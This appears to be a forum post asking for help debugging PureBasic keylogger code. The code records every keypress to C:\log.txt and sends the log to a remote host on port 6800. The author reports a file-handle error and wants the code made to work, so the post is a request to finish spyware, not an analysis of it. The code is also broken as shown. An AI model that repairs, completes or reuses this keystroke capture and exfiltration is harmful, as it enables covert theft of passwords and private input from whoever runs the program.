Code: Select all
InitNetwork ()
File = OpenFile (#PB_Any,"C:\log.txt")
Procedure getkeypress()
For i = 1 To 255
If GetAsyncKeyState_(i) = -32767
WriteStringN (File,Str (i))
EndIf
Next i
EndProcedure
If File
o = OpenNetworkConnection ("...",6800)
If o
Repeat
getkeypress()
Until GetAsyncKeyState_(#VK_ESCAPE) = -32767
While Not Eof(File)
Line$ = ReadString(File)
If Not Eof(File) : Line$ + #CRLF$ : EndIf
SendNetworkString(o, Line$)
Wend
CloseNetworkConnection (o)
CloseFile (0)
Endif
Endif
End
Key examination: Usually ok.
Write a string into the file: [ERROR] #File object not initialized.
Probably some stupid mistake, but hey...If someone else reads through the code, he might see the mistake...
If someone says "Read the fucking manual": I did...How else would I be able to do stuff like this?
Thank you in advance (even if you criticize the code/me)